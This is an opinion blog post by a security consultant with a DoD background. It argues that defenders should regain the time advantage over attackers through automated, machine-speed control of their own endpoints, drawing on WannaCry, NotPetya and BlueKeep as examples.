A Fresh Perspective on a Tired, Brainwashed, and Defeated Industry

On advice from a great mentor, here is a BLUF for those on the run:

• We've forgotten what it means to do the hard work (vs. the busy work) of security

• We've defeated ourselves with the things we tell ourselves and the strategies we've chosen as a result

• We can all still win this battle, because we are well positioned to do so, to the extent we can get off our heels and lean forward

• But - we can only do it if we restore time itself, to the defender's advantage over the attacker

As we head into 2020 and beyond, one thing is crystal clear: We have lost the plot and the industry has jumped the shark. Yet, this blog is not a rant, but rather a fresh perspective - one born out of necessity, because we must win.

Background Perspective

After spending nearly 15 years supporting the cyber mission for DoD community, and then the last five here on ‘the other side of the fence’ working for bleeding edge security vendors and advising enterprises on how best to address the threat landscape, I’ve discovered one thing lacking in the latter, that was foremost in the former. Quite simply, mission-oriented organizations spend a lot of time, resources and effort determining exactly what can harm the mission the most, and then prioritizing remediations and security controls accordingly. And while most commercial enterprises intend to prioritize similarly in order to protect their revenue, production, worker/patient safety and reputation; they don’t often have the time, requirements, experience or framework to do this effectively. I distinctly recall thinking, after the Iranians had compromised a million device DoD enterprise, that there must be something on the tech/commercial side, that the DoD mission did not have….some set of technologies, processes, and/or sophistication of those things, that the DoD community was not able to (yet) benefit from. So I made it my own mission to go and discover what that might be. This led initially to my career with FireEye Mandiant, and the realization that for all the millions of dollars and a very robust Certification and Accreditation program the DoD benefited from, it was still unable to prevent spear-phishing attacks, and it was still unable to detect (let alone block) obfuscated C2 (command and control) communications egressing from their networks once a foothold was gained. The DoD was also unable to know when threats persisted, when privileges were elevated and when data had been exfiltrated. This is because it spent most of its effort on preventing such activity in the first place, doing things like hardening operating systems, patching vulnerabilities, and generally trying to use the concept of least privilege to reduce the number of PPS (Ports, Protocols and Services) down to the minimum required to support the mission. Similarly, it did what it could to implement least privilege, and this was in part due to over-arching drivers such as NTK (Need to Know) data classification, proactive knowledge-management, and RBAC (Role Based Access Control) Authorization, all of which were afforded relatively strong identity vis-a-vis PKI (Public Key Infrastructure) / multi-factor authentication. All of these controls were effectively focused on Prevention. So much so that should even a single system become compromised… that is, should it run unauthorized code of any sort… it was to be re-imaged: security, at the moment unauthorized code was run, had failed. For those reading along that have supported the warfighter, the above reads as common sense, as assumed, and perhaps even uninteresting. But mark my words, the vast majority of what we took for granted and worked tirelessly to achieve in the DoD, is painfully not reciprocated in the commercial enterprise space. And conversely, an amazing amount of capabilities and technologies implemented in the commercial space is not operationalized in the DoD space! So, as we head into 2020 and beyond, after we’ve already experienced worms like WannaCry and NotPetya, it is not obvious why these deltas are what they are. What we need going forward, is the best of both of these worlds, without the friction, noise, and delusional brainwashing associated with the day to day SecOps of either. That is the truth: we have beaten ourselves, and we’ve forgotten how to focus on first things first: on preventing an adversary from causing us harm, and doing so before we’ve lost security control of our assets.

First Things First

So let’s focus on this for a moment: what does ‘first things first’ look like as we head in to 2020? What is the one common denominator against any adversary whether in the context of a DoD mission or a large enterprise? What is the one advantage the adversary has always had against us? What is the most precious thing of all? Yes, it is time itself. The reason WannaCry succeeded, was not sophistication. It was not that it was ‘powered by an NSA grade zero-day’. It was simply because it outpaced our ability as a human race to stop it in its tracks. The threat moved at machine-speed. Our defenses, did not. The threat was hyper automated. Our defenses were not. So, while there were a few scarce victories that the industry did have against WannaCry (e.g. Cylance predicted the WannaCry payload), and Not-Petya (Maersk staff worked to restore tens of thousands of devices in just ten days); those victories were both short lived, and ultimately, unable to prevent the billions of dollars worth of damage these worms caused. After all, a large portion of the WannaCry malware payload (arguably one of the least sophisticated, most poorly written ransomware payloads ever) was corrupted; it never even ran in many high-profile enterprises the worm component plowed through and caused damage to. Ironically, that fact alone made tracking and containing the worm’s spread in an enterprise even more difficult, as there was no tell-tale ransom screen to confirm a machine’s compromise (and whether it might affect other machines). And Maersk?… they were supremely fortunate to locate the one domain controller that was not yet destroyed, and this, only due to a power outage and the machine serendipitously offline. Were that not the case, they would not have been able to restore operations without a complete ground-up domain re-build from zero. In both cases, it was the sheer velocity of the worms that beat all of our defenses. Or more to the point, and indeed the most important point of this blog, our defenses’ lack of velocity is why we are still just as unprepared today against a pending BlueKeep worm, as we were two years ago. There is nothing terribly sophisticated about these threats: they have simply moved faster than we can understand and react to them.... let alone stop them in their tracks.

The Lies We Tell Ourselves

So then, why is it that we are still so unprepared? Why are we unable to prevent a threat before it causes impact to our mission or organization? Could it be that we’ve been focusing on the wrong priorities? Could it be that we have defeated ourselves with defeatist attitudes and resigned statements such as: “It’s a matter of when, not if, we will be compromised” or  “An attacker only needs to be right once to succeed, whereas defenders need to be right 100% of the time, to prevent a breach.”  Friends, neither of these statements need to define our attitude, nor our philosophy, nor our approach, and especially not our security strategy!

Pointing the Finger

Foremost, and as I believe we will learn out of necessity alone, it is only a matter of “when not if”, if we as defenders are unable to control the “when”. That is, to the extent that we restore time to the defender’s advantage, is the extent to which we will be able to prevent impact to the mission. Period. But we’ve eschewed this truth, even though, as our children play sports, we recognize firmly that the team that executes with greater velocity towards the objective is the team that wins. We eschew this truth even as we step into our Tesla with auto-braking, and know that were it not for the intelligent system’s ability to predict and then quickly take an action on our behalf, we would not be able to autonomously avoid impact. Even the word itself, “impact”, is instructive! Impact is an event predicated on a collision of two entities… to avoid it, you have to change the inertia of at least one of them. Inevitably, you must change the inertia for the entity that you have control over. You must ascertain the pending collision and then take an action quickly enough to prevent an impact. So it is too, in cyber security. Or so one would think. Yet, we worry about everything else first. We say things like “I need to be able to see what happened after I am compromised” (EDR). Or, “I need 100% visibility” of what just happened.” (Cloud/SIEM-based data analytics based on static intelligence, IOCs, correlation, reputation/enrichment). Or we even say “I need deception technology!”… yet, we still have 100’s or 1000’s of unpatched Windows machines vulnerable to BlueKeep in our environment. The fact is most of us have spent the last 3-4 years building up a ridiculous stack of extremely noisy point solutions, the vast majority of which can only (by definition) help us after the fact, and then we’ve spent another 1-2 years trying to get all of them to talk to each other so that we have achieved the ultimate in cyber nirvana: 100% visibility and understanding of… what bad thing just happened to my organization. Think about the irony of it all as you walk down the row upon row of vendors at BlackHat, all touting this new-found visibility: the adversary benefits as we inundate our best (and hyper rare) talent with noise. With tracking down root cause analysis. With vetting false positives. With improving our playbooks to accommodate the incidents we’ve resigned to expect. We have come to understand our roles as CISOs as an entirely after-the-fact endeavor. We have reduced the problem space to explaining what happened and the taking remedial steps to chase a ghost that has already done all the bad things we need to prevent in the first place. We have completely lost the plot, and there is no one to blame but ourselves! There is no party to point our finger at. We can’t just say “Microsoft should build better software”. We can’t just say “We need to go after and convict cyber criminals with greater punishment”. We can’t just throw up our hands and blame thousands of security vendors for trying to profit by proliferating the problem instead of solving it…. they usually only build what they imagine enterprises to want, and their investors all want them to have a cloud story… they all want them to have subscription-based OPEX, they all want them to sell volumes of alerts, bandwidth, data retention, events per second, pew-pew laser maps, and ephemerally-challenged intelligence. Security is not meant to be defined by busy-ness. It is meant to be defined by the risk register, and with realistic completion dates associated with the remediation of each risk, as ranked by the organization. We never get there though, because we are on our heals and haven't taken care of first things first: our endpoints. So, the only person to point at is ourself. We are standing here dumbfounded by our own insanity of doing the same thing over and over again while expecting better results. We have negative unemployment and millions of unfilled positions, yet we throw more after-the-fact noise/alerts/false positives and rabbit hole pivot/hunt/RCA activity at the few remaining burnt-out analysts we are lucky enough to retain. I’ve played soccer my entire life, in many countries around the world, and have had all manner of coaches along the way. If the cyber industry was a soccer team, it would be the one I always hated playing for the most: the one where the other team is up by 2 goals, and yet your coach decides to pack everyone in the defensive third of the pitch in an effort to stop yet another goal by the opposing team. We are our own worst coaches! You know what you do when you are down two goals in the second half? You attack, and do so with greater velocity than the opponent. You charge the ball. You make the opponent feel your presence on the pitch. You get scrappy. You invent. You create. You do not give up, and you put the ball in the back of the net. Yet here we are in 2019, and all we’ve managed to do is sub out one tired goalie, with another tired goalie. 

Hack Back, But Do it Right (know where to attack)

You can feel the sea-change that is going to happen soon, and it will happen out of necessity, not because we are smart enough to change the game ahead of the next bad day. I’ve contributed to panels and articles on the latest cyber fad of hacking back for example. That’s a guttural reaction to the state of affairs. It is not incorrect in its spirit, but it is painfully wrong it how it is envisioned to be carried out. Wisdom tells us that the best place to attack an adversary, is on our own soil…. the soil we control, the soil we intimately know, the soil we have domain over. The key to winning against an adversary is to know where they are going to be, know what they will do when they get there, and then be there before the enemy gets there, with the ability to counter what you know the enemy will do and do so before they do it. Folks, that is called the endpoint… namely, your endpoint. It is still the battlefield…it is where attacks originate, it is where persistence is gained. It is where lateral movement goes to and fro. It is where processes are injected into, it is where network packets originate from, it is where the data lives and where the end user creates, it is where the bad guys exfiltrate from, and it is nearly always what your RCA efforts end up pointing back to after the fact. I’ve run incident response teams, and I’ve been lucky enough to have had access to literally thousands of compromise assessment reports. I can already tell you what your RCA is going to be; I know how they are getting in. You do too: Spear-phishing, creds, RDP, vulnerable web services, and (sadly) your MSSP or third party/supply chain. Yet, you are probably not running MFA on every externally facing application. You probably are still running unneeded RDP services and hoping that plopping them inside a VPN makes any difference. You still haven’t fixed your SDLC because you don’t have the authority or ability to influence the cultural shift required to do so. And yes, your end users still click on things because you can’t fix stupid. Your end users are not stupid: Stop telling them, and yourself, that they are. They are not the problem, and training them effectively is only ever going to be a partial solution, even when you measure substantial improvements to their behavior. If we want to win, we actually have to do the kung-foo (defined as ‘hard work’) that matters most. We have to control our own endpoints. Controlling an endpoint is not the same thing as simply having visibility into what happened on it. Nor is it the ability to restore it from a back-up. It is controlling it at a process level, period.  If you have all the visibility in the world; crystal clear, 20/20 vision and perfect hindsight, but it doesn’t inform you fast enough to take an action that actually matters before the bad thing happens, then all you have gained with that visibility is friction, noise, opportunity cost of precious (human) resources, and a perpetuation of the problem. You have dug your self deeper into the busy-ness. There is no pew-pew dash-board in the cloud that can safe us from physics... and measuring our success by how long it takes to 'see something' is not the correct metric for preventing a breach. Marketing efforts to convince us of otherwise be damned.

Turning the Tables Against the Adversary

It’s time to turn the tables and restore time to the defender’s advantage, and do so on the defender’s soil. Earlier above I quoted a common misguided edict we tell ourselves:  “An attacker only needs to be right once to succeed, whereas defenders need to be right 100% of the time, to prevent a breach”  Think about that statement. Is it a true statement on the soccer field when you are down 0-2? No! When you are down, you get creative and see things clearly for the first time. Let’s rearrange that statement to our advantage. Let’s be better hackers than the Darwinan criminals laughing at our after-the-fact cloud security platforms: “An attacker needs to be right at every step to succeed, and a defender only needs to be right once… to prevent a breach” Read it again.  The truth is, we’ve had the advantage the whole time: We own the endpoint. It is our domain. We control what happens on it, and what does not. We just haven't implemented enough active machine-speed defense to keep up with the pace of threat. We can hook the kernel before the bad actor does. Think about that. We can identify legitimate processes before a bad actor ever gets a foothold. We can know what majority bad actors do once on the endpoint, before they get there. We can actually patch vulnerabilities immediately. We can leverage NLP and ML to understand entire worlds of potential malicious activity, well before a bad actor steps foot in our domain. We can uninstall any software we deem vulnerable or a threat. We can reverse-out changes that unauthorized software or users make to the operating system. We can be more creative in our domain. We can be more flexible in our ability to take active steps when faced with a net new threat. We can also outpace the bad actor… if we see powershell spawned from a word document fetching a remote file…. we can kill that process before it even completes running in memory… because it is our domain…it is our endpoint... and there is actually time to kill a process before it completes even after the 'enter' key is hit! There is no such thing as an attack that is only one step, other than maybe the Ping of Death from 20 years ago. If the MITRE ATT&CK framework illustrates one thing, it should be this: we can and need to be able to interject an active kill chain as it unfolds in real time. To the extent we can't do that, is the extent that the MITRE ATT&CK framework serves only as a taxonomy of what bad things happened. It needs to be more than this, in order to achieve its potential as a framework, and MITRE will be the first to tell you that. Let’s make the attacker be right 100% of the time…at every step they must take, if they want to succeed. More importantly, let’s get really good at stopping them before they take the steps we know they must! Most attacks, and especially the ones that cause us the most harm lately (worms and ransomware and destructive payload attacks) are automated. Yet their automation is not sophisticated and it is not highly adaptable. It is not a human behind a keyboard ready to improvise. We can stop these attacks on our soil. We can know. We can anticipate. We can attack. We can get scrappy. And we will win… because we must win, for our children’s future.  If we walk away from this blog remembering one thing, it needs to be this: Time itself, is the battle. To win at the game of time when playing on a machine-speed field, we must automate. In order to allow for automation, we must have confidence it will not break the enterprise or the mission. To gain confidence quickly enough, we must leverage both high-confidence static rules, and NLP and/or other forms of ML where and when and if it makes sense to do so. We must be able to quickly assemble enough events on a host to provide sufficient context to discern malicious activity and interject it immediately. But let’s do this on the endpoint foremost…where the action is. Intelligence is the enabler here, but we can't rely wholly on a latent, remote, tethered cloud strategy if the action is indefinately 30ms+ ahead of anything the cloud sees. Your Tesla doesn’t consult cloud intelligence before it decides to put on the brakes for you to avoid an impact. A space-X rocket booster's thruster controls don’t require a tether to a cloud to adjust for pitch and yaw before landing on a floating platform at sea. And your own child doesn’t have to ask Alexa if you are his or her mother or father. Our intelligence must be where the battle is, and allow automation to happen at machine speed in order to prevent the bad thing. If we actually put first things first, and win back the time advantage on the endpoint, then we may finally be able to lean forward and solve our identity, credentials, IOT, insider threat, SSDLC, and supply chain problems.  Let’s roll.

Scott Scheferman

Owner, Armanda Intelligence LLC